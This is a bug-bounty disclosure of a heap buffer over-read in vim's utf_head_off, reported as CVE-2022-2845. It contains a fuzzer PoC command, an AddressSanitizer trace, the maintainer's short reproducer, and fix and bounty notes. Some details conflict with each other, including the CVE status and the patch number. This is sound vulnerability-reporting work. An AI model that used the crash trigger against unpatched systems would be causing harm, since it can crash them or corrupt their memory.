huntr

Buffer Over-read in function utf_head_off in vim/vim

0

✓ Valid Reported on Aug 14th 2022

Description

Buffer Over-read in function utf_head_off at vim/src/mbyte.c:3872

vim version

```
git log
commit 249e1b903a9c0460d618f6dcc59aeb8c03b24b20 (grafted, HEAD -> master, t
```

Proof of Concept

```
./vim/src/vim -u NONE -X -Z -e -s -S poc3_hbo.dat -c :qa!
=================================================================
==66613==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000
READ of size 1 at 0x60200000716f thread T0
    #0 0x55968ba92896 in utf_head_off /home/fuzz/vim/src/mbyte.c:3872
    #1 0x55968b8b4260 in display_dollar /home/fuzz/vim/src/edit.c:1765
    #2 0x55968bb309f2 in op_delete /home/fuzz/vim/src/ops.c:912
    #3 0x55968bb385a0 in op_change /home/fuzz/vim/src/ops.c:1747
    #4 0x55968bb4aab6 in do_pending_operator /home/fuzz/vim/src/ops.c:4070
    #5 0x55968bb01403 in normal_cmd /home/fuzz/vim/src/normal.c:961
    #6 0x55968bf4c410 in main_loop /home/fuzz/vim/src/main.c:1527
    #7 0x55968b9abc54 in open_cmdwin /home/fuzz/vim/src/ex_getln.c:4566
    #8 0x55968b9a0bd1 in getcmdline_int /home/fuzz/vim/src/ex_getln.c:1980
    #9 0x55968b99e89a in getcmdline /home/fuzz/vim/src/ex_getln.c:1574
    #10 0x55968bb1488f in nv_search /home/fuzz/vim/src/normal.c:4158
    #11 0x55968bb01253 in normal_cmd /home/fuzz/vim/src/nor
    #12 0x55968b9845b8 in exec_normal /home/fuzz/vim/src/ex_docmd.c:8822
    #13 0x55968b984377 in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:878
```

Chat with us

```
    #13 0x55968b984377 in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:87
    #14 0x55968b983c1b in ex_normal /home/fuzz/vim/src/ex_docmd.c:8703
    #15 0x55968b960443 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2570
    #16 0x55968b9576e6 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:992
    #17 0x55968bc7a845 in do_source_ext /home/fuzz/vim/src/scriptfile.c:167
    #18 0x55968bc7b977 in do_source /home/fuzz/vim/src/scriptfile.c:1801
    #19 0x55968bc78506 in cmd_source /home/fuzz/vim/src/scriptfile.c:1174
    #20 0x55968bc7856b in ex_source /home/fuzz/vim/src/scriptfile.c:1200
    #21 0x55968b960443 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2570
    #22 0x55968b9576e6 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:992
    #23 0x55968b955a80 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:586
    #24 0x55968bf51eda in exe_commands /home/fuzz/vim/src/main.c:3133
    #25 0x55968bf4b048 in vim_main2 /home/fuzz/vim/src/main.c:780
    #26 0x55968bf4a900 in main /home/fuzz/vim/src/main.c:432
    #27 0x7f9273194082 in __libc_start_main ../csu/libc-start.c:308
    #28 0x55968b7d6e4d in _start (/home/fuzz/vim/src/vim+0x139e4d)

0x60200000716f is located 1 bytes to the left of 1-byte region [0x60200000007
allocated by thread T0 here:
    #0 0x7f927362b808 in __interceptor_malloc ../../../../src/libsanitizer/
    #1 0x55968b7d728a in lalloc /home/fuzz/vim/src/alloc.c:246
    #2 0x55968b7d707b in alloc /home/fuzz/vim/src/alloc.c:151
    #3 0x55968bd0d579 in vim_strnsave /home/fuzz/vim/src/strings.c:44
    #4 0x55968baa9587 in ml_replace_len /home/fuzz/vim/src/memline.c:3484
    #5 0x55968baa9488 in ml_replace /home/fuzz/vim/src/memline.c:3445
    #6 0x55968b9ab994 in open_cmdwin /home/fuzz/vim/src/ex_getln.c:4539
    #7 0x55968b9a0bd1 in getcmdline_int /home/fuzz/vim/src/ex_getln.c:1980
    #8 0x55968b99e89a in getcmdline /home/fuzz/vim/src/ex_getln.c:1574
    #9 0x55968bb1488f in nv_search /home/fuzz/vim/src/normal.c:4158
    #10 0x55968bb01253 in normal_cmd /home/fuzz/vim/src/normal.c:939
    #11 0x55968b9845b8 in exec_normal /home/fuzz/vim/src/ex_docmd.c:8822
    #12 0x55968b984377 in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:878
    #13 0x55968b983c1b in ex_normal /home/fuzz/vim/src/ex_docmd.c:8703
    #14 0x55968b960443 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2570
    #15 0x55968b9576e6 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:992
    #16 0x55968bc7a845 in do_source_ext /home/fuzz/vim/src/scriptfile.c:167
    #17 0x55968bc7b977 in do_source /home/fuzz/vim/src/scriptfile.c:1801
    #18 0x55968bc78506 in cmd_source /home/fuzz/vim/src/scriptfile.c:1174
    #19 0x55968bc7856b in ex_source /home/fuzz/vim/src/scrip
    #20 0x55968b960443 in do_one_cmd /home/fuzz/vim/src/ex_
    #21 0x55968b9576e6 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:992
    #22 0x55968b955a80 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:586
    #22 0x55968b955a80 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:586
    #23 0x55968bf51eda in exe_commands /home/fuzz/vim/src/main.c:3133
    #24 0x55968bf4b048 in vim_main2 /home/fuzz/vim/src/main.c:780

    #25 0x55968bf4a900 in main /home/fuzz/vim/src/main.c:432
    #26 0x7f9273194082 in __libc_start_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/vim/src/mbyte.c:
Shadow bytes around the buggy address:
  0x0c047fff8dd0: fa fa 01 fa fa fa 01 fa fa fa 01 fa fa fa 02 fa
  0x0c047fff8de0: fa fa 00 02 fa fa 01 fa fa fa 07 fa fa fa 01 fa
  0x0c047fff8df0: fa fa 01 fa fa fa 05 fa fa fa 01 fa fa fa 01 fa
  0x0c047fff8e00: fa fa 01 fa fa fa 01 fa fa fa 02 fa fa fa 07 fa
  0x0c047fff8e10: fa fa 02 fa fa fa 00 03 fa fa 00 fa fa fa 05 fa
=>0x0c047fff8e20: fa fa 01 fa fa fa 00 07 fa fa 07 fa fa[fa]01 fa
  0x0c047fff8e30: fa fa 02 fa fa fa 00 fa fa fa 02 fa fa fa 01 fa
  0x0c047fff8e40: fa fa 00 00 fa fa 01 fa fa fa fa fa fa fa fa fa
  0x0c047fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==66613==ABORTING
```

```
<p><a href="https://github.com/Janette88/vim/blob/main/poc3_hbo.dat">poc3_hbo.dat</a>
</p>
```

Impact

This vulnerabilities are capable of crashing software, Modify Memory, and possible remote execution.

CVE
CVE-2022-2845
(Published)

Vulnerability Type
CWE-126: Buffer Over-read

Severity
High (7.8)

Registry
Other

Affected Version
<=v9.0.0213

Visibility
Public

Status
Fixed

Found by
janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

Chat with us

This report was seen 817 times.

We are processing your report and will contact the vim team within 24 hours. 3 months ago

We have contacted a member of the vim team and are waiting to hear back 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

I can reproduce it. The POC can be simplified further:

```
enew
se ve=all
silent normal q/s
```

janette88 has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 3 months ago Maintainer

fixed with patch 9.0.0218

Bram Moolenaar marked this as fixed in 9.0.0217 with commit e98c88 3 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation